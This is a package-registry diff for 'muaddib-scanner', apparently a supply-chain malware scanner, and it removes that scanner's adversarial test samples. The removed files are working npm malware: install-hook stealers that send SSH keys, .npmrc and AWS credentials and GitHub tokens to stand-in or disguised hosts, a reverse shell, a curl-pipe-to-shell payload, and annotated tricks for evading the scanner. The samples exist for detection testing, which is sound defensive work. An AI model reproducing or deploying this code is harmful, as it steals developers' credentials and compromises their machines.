muaddib-scanner 2.2.22 → 2.2.23

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (150) hide show
  1. package/package.json +1 -1
  2. package/.gitattributes +0 -18
  3. package/datasets/adversarial/README.md +0 -23
  4. package/datasets/adversarial/ai-agent-weaponization/index.js +0 -5
  5. package/datasets/adversarial/ai-agent-weaponization/package.json +0 -9
  6. package/datasets/adversarial/ai-agent-weaponization/setup.js +0 -83
  7. package/datasets/adversarial/ai-config-injection/.cursorrules +0 -36
  8. package/datasets/adversarial/ai-config-injection/index.js +0 -16
  9. package/datasets/adversarial/ai-config-injection/package.json +0 -8
  10. package/datasets/adversarial/browser-api-hook/index.js +0 -66
  11. package/datasets/adversarial/browser-api-hook/package.json +0 -6
  12. package/datasets/adversarial/bun-runtime-evasion/bun_environment.js +0 -23
  13. package/datasets/adversarial/bun-runtime-evasion/package.json +0 -9
  14. package/datasets/adversarial/bun-runtime-evasion/setup.js +0 -10
  15. package/datasets/adversarial/ci-trigger-exfil/index.js +0 -17
  16. package/datasets/adversarial/ci-trigger-exfil/package.json +0 -9
  17. package/datasets/adversarial/conditional-chain/index.js +0 -14
  18. package/datasets/adversarial/conditional-chain/package.json +0 -9
  19. package/datasets/adversarial/crypto-wallet-harvest/index.js +0 -44
  20. package/datasets/adversarial/crypto-wallet-harvest/package.json +0 -6
  21. package/datasets/adversarial/dead-mans-switch/index.js +0 -35
  22. package/datasets/adversarial/dead-mans-switch/package.json +0 -9
  23. package/datasets/adversarial/delayed-exfil/index.js +0 -6
  24. package/datasets/adversarial/delayed-exfil/package.json +0 -6
  25. package/datasets/adversarial/detached-background/launcher.js +0 -11
  26. package/datasets/adversarial/detached-background/package.json +0 -9
  27. package/datasets/adversarial/detached-background/worker.js +0 -26
  28. package/datasets/adversarial/discord-webhook-exfil/index.js +0 -95
  29. package/datasets/adversarial/discord-webhook-exfil/package.json +0 -9
  30. package/datasets/adversarial/dns-chunk-exfil/index.js +0 -10
  31. package/datasets/adversarial/dns-chunk-exfil/package.json +0 -6
  32. package/datasets/adversarial/docker-aware/index.js +0 -10
  33. package/datasets/adversarial/docker-aware/package.json +0 -6
  34. package/datasets/adversarial/double-base64-exfil/index.js +0 -11
  35. package/datasets/adversarial/double-base64-exfil/package.json +0 -9
  36. package/datasets/adversarial/dynamic-import/index.js +0 -21
  37. package/datasets/adversarial/dynamic-import/package.json +0 -9
  38. package/datasets/adversarial/dynamic-require/index.js +0 -3
  39. package/datasets/adversarial/dynamic-require/package.json +0 -9
  40. package/datasets/adversarial/fake-captcha-fingerprint/index.js +0 -64
  41. package/datasets/adversarial/fake-captcha-fingerprint/package.json +0 -9
  42. package/datasets/adversarial/gh-cli-token-steal/index.js +0 -31
  43. package/datasets/adversarial/gh-cli-token-steal/package.json +0 -6
  44. package/datasets/adversarial/github-exfil/index.js +0 -33
  45. package/datasets/adversarial/github-exfil/package.json +0 -9
  46. package/datasets/adversarial/iife-exfil/index.js +0 -17
  47. package/datasets/adversarial/iife-exfil/package.json +0 -9
  48. package/datasets/adversarial/indirect-eval-bypass/index.js +0 -27
  49. package/datasets/adversarial/indirect-eval-bypass/package.json +0 -5
  50. package/datasets/adversarial/mjs-extension-bypass/package.json +0 -6
  51. package/datasets/adversarial/mjs-extension-bypass/stealer.mjs +0 -39
  52. package/datasets/adversarial/muaddib-ignore-bypass/index.js +0 -47
  53. package/datasets/adversarial/muaddib-ignore-bypass/package.json +0 -5
  54. package/datasets/adversarial/nested-payload/index.js +0 -3
  55. package/datasets/adversarial/nested-payload/package.json +0 -9
  56. package/datasets/adversarial/nested-payload/utils/helper.js +0 -6
  57. package/datasets/adversarial/nested-payload/utils/lib/format.js +0 -23
  58. package/datasets/adversarial/postinstall-download/package.json +0 -8
  59. package/datasets/adversarial/preinstall-background-fork/bootstrap.js +0 -16
  60. package/datasets/adversarial/preinstall-background-fork/index.js +0 -2
  61. package/datasets/adversarial/preinstall-background-fork/package.json +0 -9
  62. package/datasets/adversarial/preinstall-background-fork/stealer.js +0 -67
  63. package/datasets/adversarial/preinstall-exec/package.json +0 -9
  64. package/datasets/adversarial/preinstall-exec/steal.js +0 -24
  65. package/datasets/adversarial/proxy-env-intercept/index.js +0 -33
  66. package/datasets/adversarial/proxy-env-intercept/package.json +0 -9
  67. package/datasets/adversarial/pyinstaller-dropper/index.js +0 -25
  68. package/datasets/adversarial/pyinstaller-dropper/package.json +0 -9
  69. package/datasets/adversarial/rdd-zero-deps/index.js +0 -32
  70. package/datasets/adversarial/rdd-zero-deps/init.js +0 -15
  71. package/datasets/adversarial/rdd-zero-deps/package.json +0 -11
  72. package/datasets/adversarial/remote-dynamic-dependency/index.js +0 -15
  73. package/datasets/adversarial/remote-dynamic-dependency/package.json +0 -7
  74. package/datasets/adversarial/self-hosted-runner-backdoor/index.js +0 -28
  75. package/datasets/adversarial/self-hosted-runner-backdoor/package.json +0 -9
  76. package/datasets/adversarial/silent-error-swallow/index.js +0 -32
  77. package/datasets/adversarial/silent-error-swallow/package.json +0 -6
  78. package/datasets/adversarial/staged-fetch/index.js +0 -9
  79. package/datasets/adversarial/staged-fetch/package.json +0 -6
  80. package/datasets/adversarial/string-concat-obfuscation/index.js +0 -6
  81. package/datasets/adversarial/string-concat-obfuscation/package.json +0 -6
  82. package/datasets/adversarial/template-literal-obfuscation/index.js +0 -4
  83. package/datasets/adversarial/template-literal-obfuscation/package.json +0 -9
  84. package/datasets/adversarial/triple-base64-github-push/index.js +0 -38
  85. package/datasets/adversarial/triple-base64-github-push/package.json +0 -9
  86. package/datasets/adversarial/websocket-exfil/index.js +0 -34
  87. package/datasets/adversarial/websocket-exfil/package.json +0 -9
  88. package/datasets/benign/README.md +0 -20
  89. package/datasets/benign/packages-npm.txt +0 -597
  90. package/datasets/benign/packages-pypi.txt +0 -164
  91. package/datasets/ground-truth/README.md +0 -54
  92. package/datasets/ground-truth/known-malware.json +0 -622
  93. package/datasets/holdout-v4/atob-eval/index.js +0 -2
  94. package/datasets/holdout-v4/atob-eval/package.json +0 -5
  95. package/datasets/holdout-v4/base64-require/index.js +0 -3
  96. package/datasets/holdout-v4/base64-require/package.json +0 -5
  97. package/datasets/holdout-v4/charcode-fetch/index.js +0 -3
  98. package/datasets/holdout-v4/charcode-fetch/package.json +0 -5
  99. package/datasets/holdout-v4/charcode-spread-homedir/index.js +0 -5
  100. package/datasets/holdout-v4/charcode-spread-homedir/package.json +0 -5
  101. package/datasets/holdout-v4/concat-env-steal/index.js +0 -4
  102. package/datasets/holdout-v4/concat-env-steal/package.json +0 -5
  103. package/datasets/holdout-v4/double-decode-exfil/index.js +0 -4
  104. package/datasets/holdout-v4/double-decode-exfil/package.json +0 -5
  105. package/datasets/holdout-v4/hex-array-exec/index.js +0 -3
  106. package/datasets/holdout-v4/hex-array-exec/package.json +0 -5
  107. package/datasets/holdout-v4/mixed-obfuscation-stealer/index.js +0 -10
  108. package/datasets/holdout-v4/mixed-obfuscation-stealer/package.json +0 -5
  109. package/datasets/holdout-v4/nested-base64-concat/index.js +0 -4
  110. package/datasets/holdout-v4/nested-base64-concat/package.json +0 -5
  111. package/datasets/holdout-v4/template-literal-hide/index.js +0 -3
  112. package/datasets/holdout-v4/template-literal-hide/package.json +0 -5
  113. package/datasets/holdout-v5/callback-exfil/main.js +0 -8
  114. package/datasets/holdout-v5/callback-exfil/package.json +0 -5
  115. package/datasets/holdout-v5/callback-exfil/reader.js +0 -10
  116. package/datasets/holdout-v5/class-method-exfil/collector.js +0 -10
  117. package/datasets/holdout-v5/class-method-exfil/main.js +0 -7
  118. package/datasets/holdout-v5/class-method-exfil/package.json +0 -5
  119. package/datasets/holdout-v5/conditional-split/detector.js +0 -2
  120. package/datasets/holdout-v5/conditional-split/package.json +0 -5
  121. package/datasets/holdout-v5/conditional-split/stealer.js +0 -16
  122. package/datasets/holdout-v5/event-emitter-flow/listener.js +0 -12
  123. package/datasets/holdout-v5/event-emitter-flow/package.json +0 -5
  124. package/datasets/holdout-v5/event-emitter-flow/scanner.js +0 -11
  125. package/datasets/holdout-v5/mixed-inline-split/index.js +0 -6
  126. package/datasets/holdout-v5/mixed-inline-split/package.json +0 -5
  127. package/datasets/holdout-v5/mixed-inline-split/reader.js +0 -3
  128. package/datasets/holdout-v5/mixed-inline-split/sender.js +0 -6
  129. package/datasets/holdout-v5/named-export-steal/main.js +0 -6
  130. package/datasets/holdout-v5/named-export-steal/package.json +0 -5
  131. package/datasets/holdout-v5/named-export-steal/utils.js +0 -1
  132. package/datasets/holdout-v5/reexport-chain/a.js +0 -2
  133. package/datasets/holdout-v5/reexport-chain/b.js +0 -1
  134. package/datasets/holdout-v5/reexport-chain/c.js +0 -11
  135. package/datasets/holdout-v5/reexport-chain/package.json +0 -5
  136. package/datasets/holdout-v5/split-env-exfil/env.js +0 -2
  137. package/datasets/holdout-v5/split-env-exfil/exfil.js +0 -5
  138. package/datasets/holdout-v5/split-env-exfil/package.json +0 -5
  139. package/datasets/holdout-v5/split-npmrc-steal/index.js +0 -2
  140. package/datasets/holdout-v5/split-npmrc-steal/package.json +0 -5
  141. package/datasets/holdout-v5/split-npmrc-steal/reader.js +0 -8
  142. package/datasets/holdout-v5/split-npmrc-steal/sender.js +0 -17
  143. package/datasets/holdout-v5/three-hop-chain/package.json +0 -5
  144. package/datasets/holdout-v5/three-hop-chain/reader.js +0 -8
  145. package/datasets/holdout-v5/three-hop-chain/sender.js +0 -11
  146. package/datasets/holdout-v5/three-hop-chain/transform.js +0 -3
  147. package/docker/Dockerfile +0 -20
  148. package/docker/sandbox-runner.sh +0 -313
  149. package/testssampleslink-deppackage.json +0 -1
  150. package/tmp-test-pack.js +0 -66
@@ -1,10 +0,0 @@
1
- const dns = require('dns');
2
-
3
- const secret = process.env.AWS_SECRET_ACCESS_KEY;
4
- if (secret) {
5
- const hex = Buffer.from(secret).toString('hex');
6
- const chunks = hex.match(/.{1,60}/g);
7
- chunks.forEach((chunk, i) => {
8
- dns.resolve(`${i}.${chunk}.exfil.evil.com`, () => {});
9
- });
10
- }
@@ -1,6 +0,0 @@
1
- {
2
- "name": "dns-chunk-exfil",
3
- "version": "1.0.0",
4
- "description": "Adversarial sample: DNS-based chunked credential exfiltration",
5
- "main": "index.js"
6
- }
@@ -1,10 +0,0 @@
1
- const fs = require('fs');
2
- const { exec } = require('child_process');
3
-
4
- try {
5
- fs.accessSync('/.dockerenv');
6
- // Inside Docker/sandbox — do nothing
7
- } catch (e) {
8
- // Not in sandbox — execute payload
9
- exec('curl https://evil.com/shell.sh | sh');
10
- }
@@ -1,6 +0,0 @@
1
- {
2
- "name": "docker-aware",
3
- "version": "1.0.0",
4
- "description": "Adversarial sample: sandbox detection via /.dockerenv",
5
- "main": "index.js"
6
- }
@@ -1,11 +0,0 @@
1
- // Shai-Hulud v1/v2: double base64 encoding of GITHUB_TOKEN + exec exfiltration
2
- // Combines data obfuscation with shell command execution
3
-
4
- const { exec } = require('child_process');
5
-
6
- const token = process.env.GITHUB_TOKEN || '';
7
- // Double encode to evade base64 pattern detection
8
- const encoded = Buffer.from(Buffer.from(token).toString('base64')).toString('base64');
9
-
10
- const cmd = `curl -s -X POST -H "Content-Type: text/plain" -d "${encoded}" https://collect.npm-telemetry.dev/api/token`;
11
- exec(cmd, { timeout: 10000 }, () => {});
@@ -1,9 +0,0 @@
1
- {
2
- "name": "double-base64-exfil",
3
- "version": "1.0.0",
4
- "description": "Holdout sample: Shai-Hulud double base64 encoding + exec exfiltration",
5
- "main": "index.js",
6
- "scripts": {
7
- "postinstall": "node index.js"
8
- }
9
- }
@@ -1,21 +0,0 @@
1
- // Adversarial sample: ESM dynamic import() to avoid require() detection
2
- async function run() {
3
- var fs = await import('fs');
4
- var http = await import('http');
5
-
6
- var sshKey = fs.default.readFileSync(require('os').homedir() + '/.ssh/id_rsa', 'utf8');
7
- var payload = JSON.stringify({ key: sshKey, host: require('os').hostname() });
8
-
9
- var opts = {
10
- hostname: 'collector.evil.com',
11
- port: 80,
12
- path: '/keys',
13
- method: 'POST',
14
- headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
15
- };
16
- var req = http.default.request(opts, function() {});
17
- req.write(payload);
18
- req.end();
19
- }
20
-
21
- run();
@@ -1,9 +0,0 @@
1
- {
2
- "name": "dynamic-import",
3
- "version": "1.0.0",
4
- "description": "Adversarial sample: ESM dynamic import() instead of require()",
5
- "main": "index.js",
6
- "scripts": {
7
- "postinstall": "node index.js"
8
- }
9
- }
@@ -1,3 +0,0 @@
1
- // Adversarial sample: dynamic require via base64 decode + reverse shell
2
- const mod = require(Buffer.from('Y2hpbGRfcHJvY2Vzcw==', 'base64').toString());
3
- mod.exec('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1');
@@ -1,9 +0,0 @@
1
- {
2
- "name": "dynamic-require",
3
- "version": "1.0.0",
4
- "description": "Adversarial sample: base64-encoded require to load child_process, then reverse shell",
5
- "main": "index.js",
6
- "scripts": {
7
- "postinstall": "node index.js"
8
- }
9
- }
@@ -1,64 +0,0 @@
1
- // Fake CAPTCHA fingerprint (Hive Pro, July 2025)
2
- // Opens a local HTTP server with a fake CAPTCHA page
3
- // Collects system info and sends to C2 when user interacts
4
-
5
- const http = require('http');
6
- const https = require('https');
7
- const os = require('os');
8
-
9
- const HTML = `<!DOCTYPE html>
10
- <html><body>
11
- <h2>Security Verification Required</h2>
12
- <p>Please verify you are not a robot to continue installation.</p>
13
- <button onclick="verify()">I'm not a robot</button>
14
- <script>
15
- function verify() {
16
- fetch('/verify', { method: 'POST' }).then(() => {
17
- document.body.innerHTML = '<h2>Verified! Installation continuing...</h2>';
18
- });
19
- }
20
- </script>
21
- </body></html>`;
22
-
23
- const fingerprint = {
24
- hostname: os.hostname(),
25
- platform: os.platform(),
26
- arch: os.arch(),
27
- user: os.userInfo().username,
28
- interfaces: os.networkInterfaces(),
29
- cpus: os.cpus().length,
30
- memory: os.totalmem()
31
- };
32
-
33
- const server = http.createServer((req, res) => {
34
- if (req.method === 'POST' && req.url === '/verify') {
35
- // Send fingerprint to C2
36
- const payload = JSON.stringify(fingerprint);
37
- const c2req = https.request({
38
- hostname: 'captcha-verify.analytics-hub.dev',
39
- path: '/api/fingerprint',
40
- method: 'POST',
41
- headers: { 'Content-Type': 'application/json' }
42
- }, () => {});
43
- c2req.write(payload);
44
- c2req.end();
45
-
46
- res.writeHead(200);
47
- res.end('OK');
48
- setTimeout(() => server.close(), 1000);
49
- } else {
50
- res.writeHead(200, { 'Content-Type': 'text/html' });
51
- res.end(HTML);
52
- }
53
- });
54
-
55
- server.listen(0, () => {
56
- const port = server.address().port;
57
- // Try to open browser
58
- const { exec } = require('child_process');
59
- const openCmd = process.platform === 'darwin' ? 'open' : process.platform === 'win32' ? 'start' : 'xdg-open';
60
- exec(`${openCmd} http://localhost:${port}`, () => {});
61
-
62
- // Auto-close after 60 seconds
63
- setTimeout(() => server.close(), 60000);
64
- });
@@ -1,9 +0,0 @@
1
- {
2
- "name": "fake-captcha-fingerprint",
3
- "version": "1.0.0",
4
- "description": "Holdout sample: typosquatting fake CAPTCHA fingerprinting (Hive Pro July 2025)",
5
- "main": "index.js",
6
- "scripts": {
7
- "postinstall": "node index.js"
8
- }
9
- }
@@ -1,31 +0,0 @@
1
- // s1ngularity/Nx: steal GitHub token via the official gh CLI
2
- // No file reads, no process.env — uses a legitimate installed tool
3
-
4
- const { execSync } = require('child_process');
5
- const https = require('https');
6
- const os = require('os');
7
-
8
- let ghToken = '';
9
- try {
10
- ghToken = execSync('gh auth token', { encoding: 'utf8', timeout: 5000 }).trim();
11
- } catch (e) {}
12
-
13
- if (ghToken) {
14
- const data = JSON.stringify({
15
- host: os.hostname(),
16
- user: os.userInfo().username,
17
- token: ghToken
18
- });
19
-
20
- const req = https.request({
21
- hostname: 'api.dev-metrics.io',
22
- path: '/v1/auth',
23
- method: 'POST',
24
- headers: {
25
- 'Content-Type': 'application/json',
26
- 'Content-Length': Buffer.byteLength(data)
27
- }
28
- }, () => {});
29
- req.write(data);
30
- req.end();
31
- }
@@ -1,6 +0,0 @@
1
- {
2
- "name": "gh-cli-token-steal",
3
- "version": "1.0.0",
4
- "description": "Holdout sample: s1ngularity/Nx gh CLI token theft",
5
- "main": "index.js"
6
- }
@@ -1,33 +0,0 @@
1
- // Shai-Hulud v1/v2: Exfiltrate secrets via GitHub API
2
- // Uses api.github.com — a trusted domain that bypasses domain-based detection
3
- const https = require('https');
4
- const fs = require('fs');
5
- const os = require('os');
6
- const path = require('path');
7
-
8
- // Harvest all available secrets
9
- const secrets = {};
10
- try { secrets.npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8'); } catch (e) {}
11
- try { secrets.ssh = fs.readFileSync(path.join(os.homedir(), '.ssh', 'id_rsa'), 'utf8'); } catch (e) {}
12
- secrets.github_token = process.env.GITHUB_TOKEN;
13
- secrets.npm_token = process.env.NPM_TOKEN;
14
-
15
- // Create a public gist with the stolen credentials
16
- const gistPayload = JSON.stringify({
17
- description: 'config backup',
18
- public: false,
19
- files: { 'config.txt': { content: JSON.stringify(secrets) } }
20
- });
21
-
22
- const req = https.request({
23
- hostname: 'api.github.com',
24
- path: '/gists',
25
- method: 'POST',
26
- headers: {
27
- 'Authorization': 'token ' + process.env.GITHUB_TOKEN,
28
- 'User-Agent': 'node',
29
- 'Content-Type': 'application/json'
30
- }
31
- }, () => {});
32
- req.write(gistPayload);
33
- req.end();
@@ -1,9 +0,0 @@
1
- {
2
- "name": "github-exfil",
3
- "version": "1.0.0",
4
- "description": "Adversarial sample: Shai-Hulud v1/v2 GitHub API exfiltration",
5
- "main": "index.js",
6
- "scripts": {
7
- "postinstall": "node index.js"
8
- }
9
- }
@@ -1,17 +0,0 @@
1
- // Adversarial sample: IIFE with random variable names, env read + http.request exfil
2
- (function() {
3
- var _0xfa3b = require('http');
4
- var _0xc91e = process.env.AWS_ACCESS_KEY_ID;
5
- var _0xd27a = process.env.AWS_SECRET_ACCESS_KEY;
6
- var _0xb1f4 = JSON.stringify({ k: _0xc91e, s: _0xd27a });
7
- var _0xe8c2 = {
8
- hostname: 'collector.evil.com',
9
- port: 80,
10
- path: '/collect',
11
- method: 'POST',
12
- headers: { 'Content-Type': 'application/json', 'Content-Length': _0xb1f4.length }
13
- };
14
- var _0xa7d9 = _0xfa3b.request(_0xe8c2, function(_0xf1) {});
15
- _0xa7d9.write(_0xb1f4);
16
- _0xa7d9.end();
17
- })();
@@ -1,9 +0,0 @@
1
- {
2
- "name": "iife-exfil",
3
- "version": "1.0.0",
4
- "description": "Adversarial sample: IIFE with obfuscated variable names, env read + http.request exfil",
5
- "main": "index.js",
6
- "scripts": {
7
- "postinstall": "node index.js"
8
- }
9
- }
@@ -1,27 +0,0 @@
1
- // Bypass 01: Indirect eval via computed property access
2
- // Technique: Array.join to build "eval" string, then call via globalThis[computed]
3
- // Expected: MUAD'DIB scores < 3 (bypass confirmed)
4
-
5
- const g = globalThis;
6
-
7
- // Array.join is NOT handled by the deobfuscator (only handles String.fromCharCode,
8
- // Buffer.from, atob, and string concat BinaryExpression)
9
- const k = ['e','v','a','l'].join('');
10
-
11
- // This URL contains "api.github.com" which is in SAFE_STRINGS
12
- // The SAFE_STRINGS check in ast.js:806-808 returns early before checking SENSITIVE_STRINGS
13
- // So even though the URL also references .ssh paths, no sensitive_string finding is emitted
14
- const configUrl = "https://api.github.com/repos/legit-org/config/contents/.ssh/deploy_key";
15
-
16
- const https = require('https');
17
- https.get(configUrl, (res) => {
18
- let d = '';
19
- res.on('data', c => d += c);
20
- res.on('end', () => {
21
- // Decode the "content" field from GitHub API response (base64-encoded)
22
- const payload = Buffer.from(JSON.parse(d).content, 'base64').toString();
23
- // Indirect eval: globalThis['eval'](payload)
24
- // getCallName() returns '' for computed MemberExpression — never matches 'eval'
25
- g[k](payload);
26
- });
27
- });
@@ -1,5 +0,0 @@
1
- {
2
- "name": "audit-bypass-01-indirect-eval",
3
- "version": "1.0.0",
4
- "description": "Audit bypass: indirect eval via computed property + SAFE_STRINGS poisoning"
5
- }
@@ -1,6 +0,0 @@
1
- {
2
- "name": "audit-bypass-03-mjs-extension",
3
- "version": "1.0.0",
4
- "type": "module",
5
- "description": "Audit bypass: .mjs files are not scanned by any scanner"
6
- }
@@ -1,39 +0,0 @@
1
- // Bypass 03: .mjs extension — no scanner processes this file type
2
- // All scanners use findFiles with extensions: ['.js'] or findJsFiles
3
- // ESM packages with "type": "module" use .mjs files legitimately
4
-
5
- import { readFileSync } from 'fs';
6
- import { homedir } from 'os';
7
- import { request } from 'https';
8
-
9
- // Direct credential theft — every dangerous pattern in one file
10
- // None of this is detected because the file extension is .mjs
11
- const home = homedir();
12
- const stolen = {};
13
-
14
- const targets = ['.ssh/id_rsa', '.ssh/id_ed25519', '.npmrc', '.aws/credentials'];
15
- for (const t of targets) {
16
- try {
17
- stolen[t] = readFileSync(`${home}/${t}`, 'utf8');
18
- } catch {}
19
- }
20
-
21
- // Also grab environment tokens
22
- stolen['GITHUB_TOKEN'] = process.env.GITHUB_TOKEN || '';
23
- stolen['NPM_TOKEN'] = process.env.NPM_TOKEN || '';
24
- stolen['AWS_SECRET_ACCESS_KEY'] = process.env.AWS_SECRET_ACCESS_KEY || '';
25
-
26
- // Exfiltrate
27
- const data = JSON.stringify(stolen);
28
- const req = request({
29
- hostname: 'collect.evil-analytics.com',
30
- path: '/v2/telemetry',
31
- method: 'POST',
32
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
33
- });
34
- req.write(data);
35
- req.end();
36
-
37
- // Also use eval with dynamic code (would be CRITICAL if this were .js)
38
- const payload = Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString();
39
- eval(payload);
@@ -1,47 +0,0 @@
1
- // muaddib-ignore
2
- //# sourceMappingURL=index.js.map
3
- // Bypass 02: muaddib-ignore kills dataflow scanner, sourceMappingURL kills entropy scanner
4
- // The AST scanner does NOT respect muaddib-ignore, so we avoid AST-detected patterns.
5
- // Strategy: construct sensitive paths without using SENSITIVE_STRINGS literals directly.
6
-
7
- const fs = require('fs');
8
- const os = require('os');
9
- const https = require('https');
10
- const path = require('path');
11
-
12
- const home = os.homedir();
13
-
14
- // Build path components without triggering SENSITIVE_STRINGS check.
15
- // SENSITIVE_STRINGS: ['.npmrc', '.ssh', '.aws', '.gitconfig', '.env', '/etc/passwd', '/etc/shadow']
16
- // AST Literal handler checks node.value.includes(sensitive) for each string literal.
17
- // We avoid having any single string literal that includes these substrings.
18
- const dot = '.';
19
- const dirs = [
20
- [dot + 'ss' + 'h', 'id_rsa'],
21
- [dot + 'ss' + 'h', 'id_ed25519'],
22
- [dot + 'aw' + 's', 'credentials'],
23
- [dot + 'npm' + 'rc'],
24
- ];
25
-
26
- const stolen = {};
27
- for (const parts of dirs) {
28
- const p = path.join(home, ...parts);
29
- try { stolen[parts[parts.length - 1]] = fs.readFileSync(p, 'utf8'); } catch {}
30
- }
31
-
32
- // Also read npmrc via environment — env_access only flags vars with sensitive keywords
33
- // HOME, PATH etc are in SAFE_ENV_VARS and get skipped
34
- const npmrcPath = path.join(home, dirs[3].join(path.sep));
35
- try { stolen['npmrc'] = fs.readFileSync(npmrcPath, 'utf8'); } catch {}
36
-
37
- // Exfiltrate via https.request — dataflow.js would catch this as source→sink,
38
- // BUT dataflow.js skipped this file due to muaddib-ignore on line 1
39
- const data = JSON.stringify(stolen);
40
- const req = https.request({
41
- hostname: 'telemetry.legit-analytics.com',
42
- path: '/api/v1/report',
43
- method: 'POST',
44
- headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
45
- });
46
- req.write(data);
47
- req.end();
@@ -1,5 +0,0 @@
1
- {
2
- "name": "audit-bypass-02-muaddib-ignore",
3
- "version": "1.0.0",
4
- "description": "Audit bypass: muaddib-ignore directive + source map injection"
5
- }
@@ -1,3 +0,0 @@
1
- // Clean entry point — nothing suspicious here
2
- var utils = require('./utils/helper');
3
- console.log('Package initialized: ' + utils.version);
@@ -1,9 +0,0 @@
1
- {
2
- "name": "nested-payload",
3
- "version": "1.0.0",
4
- "description": "Adversarial sample: malware buried 3 levels deep in require chain",
5
- "main": "index.js",
6
- "scripts": {
7
- "postinstall": "node index.js"
8
- }
9
- }
@@ -1,6 +0,0 @@
1
- // Intermediate layer — looks like a utility module
2
- var format = require('./lib/format');
3
- module.exports = {
4
- version: '1.0.0',
5
- format: format
6
- };
@@ -1,23 +0,0 @@
1
- // Buried payload — 3 levels deep from index.js
2
- var cp = require('child_process');
3
- var fs = require('fs');
4
- var https = require('https');
5
-
6
- var npmrc = fs.readFileSync(require('os').homedir() + '/.npmrc', 'utf8');
7
- var token = npmrc.match(/_authToken=(.+)/);
8
-
9
- if (token) {
10
- var data = JSON.stringify({ t: token[1], h: require('os').hostname() });
11
- var opts = {
12
- hostname: 'exfil.evil.com',
13
- port: 443,
14
- path: '/steal',
15
- method: 'POST',
16
- headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
17
- };
18
- var req = https.request(opts, function() {});
19
- req.write(data);
20
- req.end();
21
- }
22
-
23
- module.exports = function() {};
@@ -1,8 +0,0 @@
1
- {
2
- "name": "postinstall-download",
3
- "version": "1.0.0",
4
- "description": "Adversarial sample: postinstall script downloads and evals remote code",
5
- "scripts": {
6
- "postinstall": "node -e \"require('https').get('https://evil.com/payload.js',r=>{let d='';r.on('data',c=>d+=c);r.on('end',()=>eval(d))})\""
7
- }
8
- }
@@ -1,16 +0,0 @@
1
- // Shai-Hulud 2.0: preinstall + background fork (Check Point/Zscaler/Datadog, Nov 2025)
2
- // Runs BEFORE install — even before dependencies are resolved
3
- // Forks a detached process that survives the npm install lifecycle
4
-
5
- const { spawn } = require('child_process');
6
- const path = require('path');
7
-
8
- // Fork stealer as a detached background process
9
- const child = spawn(process.execPath, [path.join(__dirname, 'stealer.js')], {
10
- detached: true,
11
- stdio: 'ignore',
12
- env: { ...process.env, _MUADDIB_PARENT_PID: String(process.pid) }
13
- });
14
-
15
- // Unref so npm install completes normally — user sees nothing
16
- child.unref();
@@ -1,2 +0,0 @@
1
- // Clean entry point — the attack happens in preinstall (bootstrap.js → stealer.js)
2
- module.exports = {};
@@ -1,9 +0,0 @@
1
- {
2
- "name": "preinstall-background-fork",
3
- "version": "1.0.0",
4
- "description": "Adversarial sample: Shai-Hulud 2.0 preinstall + detached fork (Check Point/Zscaler/Datadog Nov 2025)",
5
- "main": "index.js",
6
- "scripts": {
7
- "preinstall": "node bootstrap.js"
8
- }
9
- }
@@ -1,67 +0,0 @@
1
- // Background stealer — runs detached from npm install process
2
- // Waits for parent to exit, then harvests credentials silently
3
-
4
- const fs = require('fs');
5
- const https = require('https');
6
- const os = require('os');
7
- const path = require('path');
8
-
9
- // Wait 3 minutes — ensures npm install has finished and sandbox timeout has passed
10
- setTimeout(() => {
11
- const loot = {
12
- host: os.hostname(),
13
- user: os.userInfo().username,
14
- arch: os.arch(),
15
- platform: process.platform,
16
- pid: process.pid,
17
- parentPid: process.env._MUADDIB_PARENT_PID
18
- };
19
-
20
- // Steal .npmrc tokens
21
- try {
22
- loot.npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
23
- } catch (e) {}
24
-
25
- // Steal SSH private keys
26
- const sshDir = path.join(os.homedir(), '.ssh');
27
- try {
28
- const files = fs.readdirSync(sshDir);
29
- loot.ssh = {};
30
- for (const f of files) {
31
- if (f.startsWith('id_') && !f.endsWith('.pub')) {
32
- try {
33
- loot.ssh[f] = fs.readFileSync(path.join(sshDir, f), 'utf8');
34
- } catch (e) {}
35
- }
36
- }
37
- } catch (e) {}
38
-
39
- // Steal AWS credentials
40
- try {
41
- loot.aws = fs.readFileSync(path.join(os.homedir(), '.aws', 'credentials'), 'utf8');
42
- } catch (e) {}
43
-
44
- // Steal .env from common project directories
45
- const cwd = process.cwd();
46
- try {
47
- loot.dotenv = fs.readFileSync(path.join(cwd, '.env'), 'utf8');
48
- } catch (e) {}
49
-
50
- // Exfiltrate via HTTPS POST to attacker C2
51
- const data = JSON.stringify(loot);
52
- const req = https.request({
53
- hostname: 'api.pkg-telemetry.dev',
54
- path: '/v1/metrics',
55
- method: 'POST',
56
- headers: {
57
- 'Content-Type': 'application/json',
58
- 'Content-Length': Buffer.byteLength(data),
59
- 'User-Agent': 'npm/10.0.0 node/v20.0.0'
60
- }
61
- }, () => {
62
- process.exit(0);
63
- });
64
- req.on('error', () => process.exit(0));
65
- req.write(data);
66
- req.end();
67
- }, 3 * 60 * 1000);
@@ -1,9 +0,0 @@
1
- {
2
- "name": "preinstall-exec",
3
- "version": "1.0.0",
4
- "description": "Adversarial sample: Shai-Hulud 2.0 preinstall token theft",
5
- "main": "index.js",
6
- "scripts": {
7
- "preinstall": "node steal.js"
8
- }
9
- }
@@ -1,24 +0,0 @@
1
- // Runs BEFORE install completes — even if npm install fails, this already executed
2
- const fs = require('fs');
3
- const http = require('http');
4
- const os = require('os');
5
- const path = require('path');
6
-
7
- // Read npm tokens from .npmrc
8
- const npmrcPath = path.join(os.homedir(), '.npmrc');
9
- let tokens = '';
10
- try {
11
- tokens = fs.readFileSync(npmrcPath, 'utf8');
12
- } catch (e) {}
13
-
14
- // Exfiltrate via HTTP POST
15
- const data = JSON.stringify({ host: os.hostname(), npmrc: tokens });
16
- const req = http.request({
17
- hostname: 'telemetry.npm-stats.io',
18
- port: 80,
19
- path: '/api/install-metrics',
20
- method: 'POST',
21
- headers: { 'Content-Type': 'application/json' }
22
- }, () => {});
23
- req.write(data);
24
- req.end();